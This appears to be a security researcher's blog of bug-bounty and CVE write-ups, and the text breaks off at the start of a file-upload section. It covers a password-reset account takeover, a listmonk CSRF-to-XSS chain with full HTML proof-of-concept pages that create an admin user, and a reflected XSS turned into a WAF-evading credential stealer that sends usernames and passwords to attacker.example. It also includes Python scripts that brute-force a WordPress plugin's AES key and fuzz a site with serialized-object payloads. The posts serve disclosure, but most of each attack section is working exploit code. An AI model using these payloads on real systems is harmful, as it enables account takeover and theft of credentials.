Outcome: The victim’s password is reset successfully, even though the OTP_TOKEN originated from the attacker’s OTP validation.

Why This Works (Root Cause)

• The /confirm authorization relies on a post‑OTP token (OTP_TOKEN) that is not bound (server‑side) to the subject of the reset: neither to the accountId/email nor to the specific requestId/jwt/transaction_type that created it.
• While the token is single‑use, that one use can target any account within its TTL, as long as the attacker supplies a valid jwt/accountId for that target.

Impact

• Zero‑click Account Takeover: The victim performs no action; the attacker completes the reset using their own post‑OTP token.
• Direct funds exposure: Immediate access to wallet/balance and the ability to withdraw funds (subject to in‑app flows/KYC).
• Sensitive data exposure: Access to personal data and, depending on views, financial/payment metadata (deposit/withdrawal history, saved payment method identifiers, billing addresses, DoB, KYC docs, etc.).
• At‑scale abuse: The full ATO can be automated within the token TTL.

Remediation Recommendations

1. Strong binding of the flow token: Bind the post‑OTP token to accountId/email, transaction_type, and the originating requestId/jwt.
2. Single‑use & consume on success: Ensure the token is one‑time and invalidated immediately after use.
3. Strict consistency checks: Reject /confirm if token subject ≠ provided jwt/accountId/contact.
4. Minimize data in /generate: Avoid returning excessive PII or tokens; prefer a generic “If the account exists…” response.
5. Defense‑in‑depth: Rate‑limits, anomaly detection (e.g., token for A used with B), invalidation chains (new /generate invalidates prior tokens), and thorough audit logging.

Severity & Bounty

• My proposed CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.8 (Critical).
• Vendor triage: High — justified by the program because the attack assumes knowledge of a non‑public email bound to a public username, which they consider to increase Attack Complexity.
• Bounty awarded: €3,500.

I appreciate the program’s timely remediation and fair handling of the bounty discussion.

Disclosed: September 9, 2025
Product: listmonk — self‑hosted newsletter & mailing‑list manager
CVE: CVE-2025-58430

Project context

listmonk is a widely used open‑source project for self‑hosted newsletters and mailing lists. It has ~17.8k GitHub stars and 16k istances online (FoFa results)

Impact

• Creation of privileged users
• Execution of arbitrary actions as the admin
• Full administrative compromise of the listmonk instance

Overview

A chain of issues in listmonk allows a Cross‑Site Request Forgery (CSRF) to trigger arbitrary JavaScript execution (XSS) in the admin’s browser, culminating in a full admin account takeover. In practice, an attacker can lure a logged‑in admin to a malicious page that silently sends a crafted request to the template preview endpoint; the injected JavaScript then executes in the admin’s context and performs privileged actions (e.g., creating a new administrator).

Affected / Patched Versions

• Affected: <= v5.0.3
• Patched: v5.1.0

If you operate listmonk, treat this as critical: assume administrative compromise is possible and apply the mitigations below immediately.

Technical Details

1) Missing server‑side CSRF enforcement

Requests include a nonce parameter alongside the session cookie; however, the backend accepts requests even when the nonce is absent or removed. This defeats the intended CSRF control because the token is not actually validated server‑side.

2) JavaScript execution in template preview

Users with permissions can create and preview templates via POST /api/templates/preview. The preview renderer permits inline JavaScript, which will run in the browser when the preview loads.

3) Cookie lacks SameSite

The session cookie is set without an explicit SameSite attribute, leaving behavior to browser defaults. On browsers that default to SameSite=None, cross‑site POSTs will include the session cookie, enabling CSRF.

Putting it together

An attacker hosts a page that auto‑submits a POST to the template preview endpoint containing a JavaScript payload. Because the nonce isn’t enforced and the session cookie rides along cross‑site, the payload executes in the admin’s origin. That script can then issue authenticated API calls (e.g., to create a new admin user), resulting in complete administrative takeover.

Proof of Concept

Example HTTP request without nonce :

An admin (or any user with permissions) can create templates and preview them (POST /api/templates/preview ), in templates it is possible to execute javascript code, for example:

And this request can also be made without nonce.

Then an attacker can exploit this lack of validation to trigger an XSS in the victim’s browser (let’s assume the admin)

This is possible for 2 reasons :

1. There is no validation of the nonce (as mentioned above)
2. The session cookie has no samesite flag

As we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one. Some browsers by default set Lax (Chrome), but many others use None (Firefox, Edge)

For example, we can host this html page to prompt the admin to make a post request

<html>
  <!-- CSRF PoC  -->
  <body>
    <form action="https://target.tld/api/templates/preview" method="POST">
      <input type="hidden" name="template&#95;type" value="campaign" />
      <input type="hidden" name="body" value="&#123;&#123;&#32;template&#32;&quot;content&quot;&#32;&#46;&#32;&#125;&#125;&#13;&#10;&#13;&#10;&lt;script&gt;alert&#40;&#41;&lt;&#47;script&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

I tested the CSRF+XSS PoC written above on 3 browsers in their latest versions

• Chrome ❌
• Firefox ✅
• Edge ✅

Example in Firefox :

We can now replace the simple alert() with any “harmful” request. request, for example the creation of a new admin account:

    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);
        xhr.setRequestHeader("Content-Type", "application\/json");
        xhr.withCredentials = true;
        var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>

So the final poc that exploits CSRF + XSS to create an admin account is like this :

<html>
  <!-- CSRF PoC -->
  <body>
    <form action="https://10.100.132.47/api/templates/preview" method="POST">
      <input type="hidden" name="template&#95;type" value="campaign" />
      <input type="hidden" name="body" value="&#123;&#123;&#32;template&#32;&quot;content&quot;&#32;&#46;&#32;&#125;&#125;&#13;&#10;&#13;&#10;&#32;&#32;&#32;&#32;&lt;script&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;function&#32;submitRequest&#40;&#41;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#123;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;var&#32;xhr&#32;&#61;&#32;new&#32;XMLHttpRequest&#40;&#41;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;xhr&#46;open&#40;&quot;POST&quot;&#44;&#32;&quot;https&#58;&#92;&#47;&#92;&#47;10&#46;100&#46;132&#46;47&#92;&#47;api&#92;&#47;users&quot;&#44;&#32;true&#41;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;xhr&#46;setRequestHeader&#40;&quot;Content&#45;Type&quot;&#44;&#32;&quot;application&#92;&#47;json&quot;&#41;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;xhr&#46;withCredentials&#32;&#61;&#32;true&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;var&#32;body&#32;&#61;&#32;&quot;&#123;&#92;&quot;username&#92;&quot;&#58;&#92;&quot;testuser4&#92;&quot;&#44;&#92;&quot;email&#92;&quot;&#58;&#92;&quot;test3&#64;test&#46;com&#92;&quot;&#44;&#92;&quot;name&#92;&quot;&#58;&#92;&quot;testuser4&#92;&quot;&#44;&#92;&quot;password&#92;&quot;&#58;&#92;&quot;Test12345&#92;&quot;&#44;&#92;&quot;passwordLogin&#92;&quot;&#58;true&#44;&#92;&quot;type&#92;&quot;&#58;&#92;&quot;user&#92;&quot;&#44;&#92;&quot;status&#92;&quot;&#58;&#92;&quot;enabled&#92;&quot;&#44;&#92;&quot;listRoleId&#92;&quot;&#58;&#92;&quot;&#92;&quot;&#44;&#92;&quot;userRoleId&#92;&quot;&#58;1&#44;&#92;&quot;password2&#92;&quot;&#58;&#92;&quot;Test12345&#92;&quot;&#44;&#92;&quot;password&#95;login&#92;&quot;&#58;true&#44;&#92;&quot;user&#95;role&#95;id&#92;&quot;&#58;1&#44;&#92;&quot;list&#95;role&#95;id&#92;&quot;&#58;null&#125;&quot;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;var&#32;aBody&#32;&#61;&#32;new&#32;Uint8Array&#40;body&#46;length&#41;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;for&#32;&#40;var&#32;i&#32;&#61;&#32;0&#59;&#32;i&#32;&lt;&#32;aBody&#46;length&#59;&#32;i&#43;&#43;&#41;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;aBody&#91;i&#93;&#32;&#61;&#32;body&#46;charCodeAt&#40;i&#41;&#59;&#32;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;xhr&#46;send&#40;new&#32;Blob&#40;&#91;aBody&#93;&#41;&#41;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#125;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;submitRequest&#40;&#41;&#59;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#47;script&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

References

• GitHub Security Advisory: GHSA‑rf24‑wg77‑gq7w (CVE‑2025‑58430) — https://github.com/knadh/listmonk/security/advisories/GHSA-rf24-wg77-gq7w
• listmonk repository — https://github.com/knadh/listmonk
• listmonk documentation — https://listmonk.app/docs/

Ethical note: the following is for educational purposes and documents a real case in an authorized context (bug bounty). Do not perform attacks on systems without permission.

During my hunt, I found an RXSS that was apparently “harmless” and had little impact because all cookies were set with the “HttpOnly” flag, so it was not possible to steal the session cookie. If I had sent the report as it was, it would have been treated as Low/Medium, so I decided to find something to present to the program company that would make it a High. Since the vulnerability was on the login page of a web app, I decided to turn the XSS into a kind of “phishing” attack.

Context

The login page renders several server-side variables into a <script> block. One of them—coming from a query parameter (l)—is echoed inside a JavaScript string:

<script>
  /* ... */
  var AspInterfaceLanguage = "test"; // ← user-controlled
  /* ... */
</script>

This is the classic JS-in-JS sink: if you can close the string and re-enter code context, you execute arbitrary JavaScript without touching HTML at all.

Finding the break point

The goal is to use l to close the string, inject code, and then repair the syntax so the rest of the page parses cleanly.

A minimal mental model of the injected sequence:

"            // end the original string
;            // finish the statement defensively
<INJECTION>  // run my JavaScript
; a = "      // resume the string the page expects

So the URL looks something like this: /Login.asp?IdSite=0&Error=&l=test";<INJECTION>;a="

Which is reflected in this way :

<script>
    /* ... */
    var AspInterfaceLanguage = "test"<INJECTION>;a="";
    /* ... */
</script>

Before proceeding with the exploit there is a clarification to be made the webapp has a WAF system in front that recognizes possible malicious javascript patterns (alert/eval etc.) and blocks requests. So to bypass this control, unicode was used in this way :

\u0061\u006C\u0065\u0072\u0074(1) // alert(1)

I don’t know if it’s a WAF or a backend check, but it’s really weak and stupid.

So the payload to trigger an alert is: /Login.asp?IdSite=0&Error=&l=test";\u0061\u006C\u0065\u0072\u0074(1);a="

Convert XSS into “Credential Stealer” to increase impact

Analyzing the login page, I noticed that the login form was managed by a JS function DoLogin() declared in another <script> tag further down.

<script>

/* ..... */

function DoLogin() {

    /* ...... */
    
    var user = Trim(FormInput.InputUtente.value)
    var password = Trim(FormInput.InputPassword.value) 
        
    /* ...... */

}

/* ..... */

</script>

So I thought that if I replaced the content of the DoLogin() function with malicious code, I would have control over the login process. For Example :

const DoLogin = () => {
  const pwd  = Trim(FormInput.InputPassword.value);
  const user = Trim(FormInput.InputUtente.value);

  // PoC: send to a controlled listener
  fetch("https://attacker.example/?" +
        "u=" + encodeURIComponent(user) +
        "&p=" + encodeURIComponent(pwd));
};

I use const to prevent the function from being redefined later with the legitimate one in the <script> tag below.

However, this payload converted to Unicode became extremely long, so I decided to use eval+base64 to make it more deliverable.

\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('<BASE_64_PAYLOAD>'))  // eval(atob('<BASE_64_PAYLOAD>'))

At this point, I encountered a problem and discovered that if you use const or let inside eval(), the declared variables/functions are not accessible globally but remain accessible only inside eval(). eval() reference

So, to avoid this problem, I created a new script element that contains the payload.

var s=document.createElement('script');
s.textContent="const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Now let’s encode all of the above code in base64 and insert it into the final payload.

\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7DQpzLnRleHRDb250ZW50PSJjb25zdCBEb0xvZ2luID0gKCkgPT4ge2NvbnN0IHB3ZCA9IFRyaW0oRm9ybUlucHV0LklucHV0UGFzc3dvcmQudmFsdWUpOyBjb25zdCB1c2VyID0gVHJpbShGb3JtSW5wdXQuSW5wdXRVdGVudGUudmFsdWUpOyBmZXRjaCgnaHR0cHM6Ly9hdHRhY2tlci5leGFtcGxlLz91PScrZW5jb2RlVVJJQ29tcG9uZW50KHVzZXIpKycmcD0nK2VuY29kZVVSSUNvbXBvbmVudChwd2QpKTt9IjsNCmRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQocyk7'))

Execution order: the tiny detail that changes everything

The vulnerable <script> (the one with var AspInterfaceLanguage = "...") appears before the script that defines the legitimate DoLogin(). That means:

1. The payload runs immediately as the parser processes the first <script>.

2. The injector adds a new <script> that declares const DoLogin first.

3. When the later script tries to declare function DoLogin(){...}, the name is already bound, leaving my hook in control.

Conclusion

With this little trick, I turned a simple, low-impact XSS into a “Credential Stealer.” The triager evaluated and accepted it as High, and I received a bounty of €1,200.

About Me:

In the last 2 months I have been focusing on finding vulnerabilities on Wordpress plugins and i got more than 100 CVEs

In this post I will show and explain some of the most interesting vulnerabilities found, I will try to explain everything in detail but for an easier understanding knowledge of PHP and Wordpress is needed

The vulnerabilities below are :

• PHP Object Injection (Insecure Deserialization) via cracking an AES encryption key
• Arbitrary File Upload via base64-encoded data:image/* format
• Arbitrary File Upload via External Image URL and Improper Content-Type Handling

PHP Object Injection (Insecure Deserialization) via cracking an AES encryption key

An insecure deserialization vulnerability was identified in the guest_ticket_login functionality of the plugin. The application decrypts and unserializes user-controlled input ($_GET[‘p’]) using a weak AES-256-CBC key stored in the WordPress wp_options table. This key is generated using a predictable algorithm based on time() and random numbers. An attacker can brute-force the encryption key if the plugin installation timestamp is known (e.g., via the Last-Modified header), enabling arbitrary object injection and, under certain conditions, guest user account takeover.

Analysis of vulnerable functions :

Apbd_wps_settings.php

    public function guest_ticket_login()
    {
        $ticket_param = rtrim(APBD_GetValue('p', ''), '/');

        if (! empty($ticket_param)) {
            $encKey = Apbd_wps_settings::GetEncryptionKey();
            $encObj = Apbd_WPS_EncryptionLib::getInstance($encKey);
            $requestParam = $encObj->decryptObj($ticket_param);

            if (! empty($requestParam->ticket_id) && ! empty($requestParam->ticket_user)) {
                $ticket = Mapbd_wps_ticket::FindBy("id", $requestParam->ticket_id);

                if (! empty($ticket) && $ticket->ticket_user == $requestParam->ticket_user) {
                    $is_guest_user = get_user_meta($ticket->ticket_user, "is_guest", true) == "Y";
                    $disable_hotlink = Apbd_wps_settings::GetModuleOption('disable_ticket_hotlink', 'N');

                    if ($is_guest_user || 'Y' !== $disable_hotlink) {
                        $ticket_link = Mapbd_wps_ticket::getTicketAdminLink($ticket);

                        if (is_user_logged_in()) {
                            wp_logout();
                        }

                        wp_clear_auth_cookie();
                        wp_set_current_user($ticket->ticket_user);
                        wp_set_auth_cookie($ticket->ticket_user);
                        wp_safe_redirect($ticket_link);
                        exit;
                    }
                }
            }
        }
    }

This function takes the value of the GET parameter p and decrypts it with decryptObj

Apbd_WPS_EncryptionLib.php

class Apbd_WPS_EncryptionLib
{
    public $key = "APBDWPS";
    private $cipher = "AES-256-CBC";
    function __construct($key = "APBDWPS")
    {
        $this->key = $key;
    }
    static function getInstance($key)
    {
        return new self($key);
    }

    function encrypt($plainText, $password = '')
    {
        if (empty($password)) {
            $password = $this->key;
        }
        $plainText = rand(10, 99) . $plainText . rand(10, 99);
        $method = 'aes-256-cbc';
        $key = substr(hash('sha256', $password, true), 0, 32);
        $iv = substr(strtoupper(md5($password)), 0, 16);
        return base64_encode(openssl_encrypt($plainText, $method, $key, OPENSSL_RAW_DATA, $iv));
    }
    function decrypt($encrypted, $password = '')
    {
        if (empty($password)) {
            $password = $this->key;
        }
        $method = 'aes-256-cbc';
        $key = substr(hash('sha256', $password, true), 0, 32);
        $iv = substr(strtoupper(md5($password)), 0, 16);
        $plaintext = openssl_decrypt(base64_decode($encrypted), $method, $key, OPENSSL_RAW_DATA, $iv);
        return substr($plaintext, 2, -2);
    }

    function encryptObj($obj)
    {
        $text = serialize($obj);
        return $this->encrypt($text);
    }
    function decryptObj($ciphertext)
    {
        $text = $this->decrypt($ciphertext);
        return unserialize($text);
    }
}

As you can see the function decryptObj() , decrypts the content using the AES algorithm and the key instantiated in the $this->key class.

So if we knew the key we could send a serialized and encrypted malicious object which will then be deserialized

Reading the other functions in the source I noticed that the key is created and saved in “wp_options” , at the exact moment the plugin is installed or updated

MariaDB [wordpress]> select * from wp_options where option_name LIKE '%apbd_wps_encryption_key%';
+-----------+-------------------------+----------------------------------+----------+
| option_id | option_name             | option_value                     | autoload |
+-----------+-------------------------+----------------------------------+----------+
|       841 | apbd_wps_encryption_key | 1ea5aaa45f46e51857793f651b576cc6 | auto     |
+-----------+-------------------------+----------------------------------+----------+

The problem is in the function APBD_EncryptionKey() that generates the key , which is very weak

secondary_helper.php

if (! function_exists('APBD_EncryptionKey')) {
    function APBD_EncryptionKey()
    {
        return md5(rand(10, 99) . rand(10, 99) . time() . rand(10, 99));
    }
}

This algorithm used to generate the key becomes even weaker if we know the time when the key was created , which corresponds to the installation time of the plugin that can be deduced from the header “Last Modified” which is present in all wordpress plugins in /wp-content/plugins/[plugin_slug]/readme.txt

└─$ curl -v http://127.0.0.1:8080/wp-content/plugins/REDACTED/readme.txt
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
* using HTTP/1.x
> GET /wp-content/plugins/REDACTED/readme.txt HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/8.10.1
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Thu, 13 Mar 2025 07:59:05 GMT
< Server: Apache/2.4.62 (Debian)
< Last-Modified: Wed, 12 Mar 2025 15:52:40 GMT
< ETag: "5ad8-6302731f4d5d8"
< Accept-Ranges: bytes
< Content-Length: 23256
< Vary: Accept-Encoding
< Content-Type: text/plain
< 
=== REDACTED ===
Contributors: REDACTED
Author link: REDACTED
Tags: REDACTED
Requires at least: 5.0
Tested up to: 6.7
Requires PHP: 7.2
Stable tag: 1.4.11
License: GPLv2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html

From the response we can infer that the plugin was installed about the Wed, 12 Mar 2025 15:52:40 GMT

Now knowing the time , we can calculate all the possible combinations by inserting a tolerance of +-10 seconds in the timestamp we have about 25 million combinations that with some time and patience we can use to fuzz the parameter “p”

Practical examples

I wrote a python script to demonstrate the weakness of the algorithm that generates the key , the script simply tries to crack an md5 in this case I used the key taken from the db ‘wp_options’

import hashlib
import time
from datetime import datetime, timezone

# Target hash to find
target_hash = "1ea5aaa45f46e51857793f651b576cc6" # Taken from the wp_options db 

# Convert the given date to a Unix timestamp
target_dt = datetime(2025, 3, 12, 15, 52, 40, tzinfo=timezone.utc) # Taken from the header Last-Modified: Wed, 12 Mar 2025 15:52:40 GMT
target_timestamp = int(target_dt.timestamp())

# Define the interval of ±10 seconds around the target timestamp
start_time = target_timestamp - 10
end_time = target_timestamp + 10

print("Starting search...")

found = False
attempts = 0

# Record the start time
start = time.time()

# Iterate over all possible timestamps in the interval
for t in range(start_time, end_time + 1):
    # Iterate over the three random numbers (from 10 to 99 inclusive)
    for r1 in range(10, 100):
        for r2 in range(10, 100):
            for r3 in range(10, 100):
                attempts += 1
                # Create the string by concatenating the values
                s = f"{r1}{r2}{t}{r3}"
                # Calculate the MD5 of the string
                h = hashlib.md5(s.encode()).hexdigest()
                # If the hash matches the target hash, print the details
                if h == target_hash:
                    print(f"Found! r1={r1}, r2={r2}, timestamp={t}, r3={r3} => string: {s}")
                    found = True
                    break
            if found:
                break
        if found:
            break
    if found:
        break

# Record the end time and calculate the total time
end = time.time()
total_time = end - start

if not found:
    print("No combination found.")

print(f"Total attempts: {attempts}")
print(f"Time taken: {total_time:.2f} seconds")

This is the result :

Starting search...
Found! r1=73, r2=78, timestamp=1741794767, r3=77 => string: 7378174179476777
Total attempts: 12909488
Time taken: 20.85 seconds

As can be seen from the result the timestamp 1741794767 used to generate the key has a difference of 7 seconds from the one read from the Last Modified header, and I think that this difference decreases as the power of the machine on which wordpress runs increases

So now how does the exploit materialize?

I wrote a python script that generates all possible md5 keys and the corresponding serialized and encrypted AES object

import hashlib
import time
from datetime import datetime, timezone
import base64
import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def encrypt(plainText, password=''):
    # Prepend and append two random two-digit numbers
    plainText = str(random.randint(10, 99)) + plainText + str(random.randint(10, 99))
    
    # Method: aes-256-cbc (CBC)
    # Calculate the key: first 32 bytes of the SHA256 hash of the password (in binary mode)
    key = hashlib.sha256(password.encode()).digest()[:32]
    
    # Calculate the IV: first 16 characters of the MD5 string (in uppercase) of the password, converted to bytes
    iv = hashlib.md5(password.encode()).hexdigest().upper()[:16].encode()
    
    # Pad the text to reach multiples of 16 bytes (PKCS7)
    padded_text = pad(plainText.encode(), AES.block_size)
    
    # Create the cipher in CBC mode
    cipher = AES.new(key, AES.MODE_CBC, iv)
    encrypted_bytes = cipher.encrypt(padded_text)
    
    # Encode the encrypted result in base64
    encrypted_b64 = base64.b64encode(encrypted_bytes).decode()
    return encrypted_b64

def decrypt(encrypted, password=''):
    # Calculate the key and IV in the same way as in the encrypt function
    key = hashlib.sha256(password.encode()).digest()[:32]
    iv = hashlib.md5(password.encode()).hexdigest().upper()[:16].encode()
    
    # Decode the encrypted text from base64
    encrypted_bytes = base64.b64decode(encrypted)
    
    # Create the cipher and decrypt the text
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_padded = cipher.decrypt(encrypted_bytes)
    
    # Remove the PKCS7 padding
    decrypted_text = unpad(decrypted_padded, AES.block_size).decode()
    
    # Remove the first 2 and the last 2 characters (the random numbers)
    return decrypted_text[2:-2]



serialized_obj = 'O:13:"WP_HTML_Token":2:{s:10:"on_destroy";s:6:"system";s:13:"bookmark_name";s:6:"ls -la";}'
# Convert the given date to a Unix timestamp
target_dt = datetime(2025, 3, 12, 15, 52, 40, tzinfo=timezone.utc)
target_timestamp = int(target_dt.timestamp())

# Define the interval of ±10 seconds around the target timestamp
start_timestamp = target_timestamp - 10
end_timestamp = target_timestamp + 10

print("Starting search...")

found = False
attempts = 0

# Record the start time
start_time = time.time()

with open("hashes.txt", "w") as file:
    # Iterate over all possible timestamps in the interval
    for t in range(start_timestamp, end_timestamp + 1):
        # Iterate over the random numbers: r1, r2, and r3 (from 10 to 99 inclusive)
        for r1 in range(10, 100):
            for r2 in range(10, 100):
                for r3 in range(10, 100):
                    attempts += 1
                    # Build the string by concatenating the values
                    s = f"{r1}{r2}{t}{r3}"
                    # Calculate the MD5 of the string
                    h = hashlib.md5(s.encode()).hexdigest()
                    encrypted = encrypt(serialized_obj, h)
                    # Write the combination and the hash to the file
                    file.write(f"{encrypted} {h}\n")

# Record the end time and calculate the total time
end_time = time.time()
total_time = end_time - start_time

print(f"Total payloads written: {attempts}")
print(f"Time taken: {total_time:.2f} seconds")

This script produces a wordlist file listing all possible payloads and md5 keys in this format : PAYLOAD MD5_KEY

In the script, this serialized object is used : O:13:"WP_HTML_Token":2:{s:10:"on_destroy";s:6:"system";s:13:"bookmark_name";s:6:"ls -la";} because if the encryption key is correct and the object is deserialized it will raise an exception.

WP_HTML_Token is a wp-core class that if it is deserialized raises an exception and the response will have status code 500

/WordPress-6.7.1/wp-includes/html-api/class-wp-html-token.php:107

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name ); 'system','whoami'
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}

so we can use this error as a confirmation that the sent payload was encrypted correctly

To fuzz the payloads I wrote another python script (but I think with tools like ffuf , wfuzz or hydra they can be much faster and perform much better ) This script reads the previously generated wordlist and sends GET requests until it finds the correct one that responds with status code 500

import asyncio
import aiohttp
import urllib.parse

URL_TEMPLATE = "http://192.168.1.20:8080/biglietto/?sgnix=true&p={}"
HEADERS = {
    "Host": "192.168.1.20:8080",
    "Accept-Language": "it-IT,it;q=0.9",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Accept-Encoding": "gzip, deflate, br"
}

# Global event to stop the process in case of a 500 status code
stop_event = asyncio.Event()

# Variables for tracking progress
completed = 0
total_payload = 0

async def worker(queue, session):
    global completed
    while True:
        item = await queue.get()
        if item is None:
            queue.task_done()
            break
        payload, md5_value = item
        if stop_event.is_set():
            queue.task_done()
            continue

        # URL-encode the payload and build the URL
        encoded_payload = urllib.parse.quote(payload)
        url = URL_TEMPLATE.format(encoded_payload)

        try:
            async with session.get(url, headers=HEADERS) as response:
                status = response.status
                # print(f"Payload: {payload} | MD5: {md5_value} | Status: {status}")
                if status == 500:
                    print(f"Status 500 triggered by payload: {payload} with MD5: {md5_value}")
                    stop_event.set()
        except Exception as e:
            print(f"Error for payload {payload} (MD5: {md5_value}): {e}")
        queue.task_done()

        completed += 1
        # Update progress every 100 requests or at the end
        if completed % 100 == 0 or completed == total_payload:
            print(f"{completed}/{total_payload}")

async def main():
    # Queue with a limit to avoid loading too much into memory
    queue = asyncio.Queue(maxsize=1000)
    concurrency = 20

    async with aiohttp.ClientSession() as session:
        # Start the workers
        workers = [asyncio.create_task(worker(queue, session)) for _ in range(concurrency)]
        
        # Open the file and add payloads (with MD5) to the queue
        with open("hashes.txt", "r") as f:
            for i, line in enumerate(f, 1):
                if i < DEBUG_START_LINE:
                    continue
                line = line.strip()
                if not line:
                    continue
                # Assume each line is "PAYLOAD MD5" separated by a space
                parts = line.split()
                if len(parts) < 2:
                    continue
                payload = parts[0]
                md5_value = parts[1]
                await queue.put((payload, md5_value))
                if stop_event.is_set():
                    break
        
        # Send a termination signal (None) for each worker
        for _ in range(concurrency):
            await queue.put(None)
        
        # Wait until the queue is empty and the workers finish
        await queue.join()
        for w in workers:
            await w

if __name__ == '__main__':
    # Set the starting line for debugging (for production, set to 1)
    DEBUG_START_LINE = 1  # For example, for debugging you might use 1000
    print(f"DEBUG_START_LINE set to: {DEBUG_START_LINE}")

    # Count the total number of payloads to process starting from DEBUG_START_LINE
    with open("hashes.txt", "r") as f:
        total_payload = sum(1 for i, _ in enumerate(f, 1) if i >= DEBUG_START_LINE)
    print(f"Total payloads to process: {total_payload}")

    asyncio.run(main())

The result should look like this :

DEBUG_START_LINE set to: 12908000
Total payloads to process: 2401001
100/2401001
200/2401001
300/2401001
400/2401001
500/2401001
600/2401001
700/2401001
800/2401001
900/2401001
1000/2401001
1100/2401001
1200/2401001
1300/2401001
1400/2401001
Status 500 triggered by payload: LbP22PDdjW/nEKRPpW0ML6h68Qu5HY/j4zM/GrOcQ/IlZKqT386kmLzPEMenFJxkoZIhnvG6bHXLyOV15Z7k8hH0HOVutwsJICyChqmSCxJyE+gJ1Lg12KGL3J3OUhHr with MD5: 1ea5aaa45f46e51857793f651b576cc6

Since I already knew the location of my payload I added a flag for debugging purposes indicating the wordlist line from which to start , the correct payload in my case was at about the 12909000th position.

And as you can see from the result the md5 key returned is the same as in the database wp_options , so now that we have the md5 key we can serialize and encrypt any malicious php object

Unfortunately the in the plugin source there are no magic methods or interesting gadgets that allow to evalute the vuln to RCE or anything else

But you could have an account takeover of a user who has set the is_guest meta by sending a serialized array containing the id of a ticket and if that ticket is tied to a user who has the meta set is_guest , it will automatically login with that user

    public function guest_ticket_login()
    {
        $ticket_param = rtrim(APBD_GetValue('p', ''), '/');

        if (! empty($ticket_param)) {
            $encKey = Apbd_wps_settings::GetEncryptionKey();
            $encObj = Apbd_WPS_EncryptionLib::getInstance($encKey);
            $requestParam = $encObj->decryptObj($ticket_param);

            if (! empty($requestParam->ticket_id) && ! empty($requestParam->ticket_user)) {
                $ticket = Mapbd_wps_ticket::FindBy("id", $requestParam->ticket_id);

                if (! empty($ticket) && $ticket->ticket_user == $requestParam->ticket_user) {
                    $is_guest_user = get_user_meta($ticket->ticket_user, "is_guest", true) == "Y"; // AT THIS POINT
                    $disable_hotlink = Apbd_wps_settings::GetModuleOption('disable_ticket_hotlink', 'N');

                    if ($is_guest_user || 'Y' !== $disable_hotlink) { // AT THIS POINT
                        $ticket_link = Mapbd_wps_ticket::getTicketAdminLink($ticket);

                        if (is_user_logged_in()) {
                            wp_logout();
                        }

                        wp_clear_auth_cookie(); // AT THIS POINT
                        wp_set_current_user($ticket->ticket_user); // AT THIS POINT
                        wp_set_auth_cookie($ticket->ticket_user); // AT THIS POINT
                        wp_safe_redirect($ticket_link);
                        exit;
                    }
                }
            }
        }
    }

Arbitrary File Upload via base64-encoded data:image/* format

While analyzing the plugin, I discovered a critical vulnerability that allows arbitrary file uploads, including .php files, by abusing a base64-encoded data:image/* payload. The root of the issue lies in the store_final_product_image() function, located in staggs-functions.php.

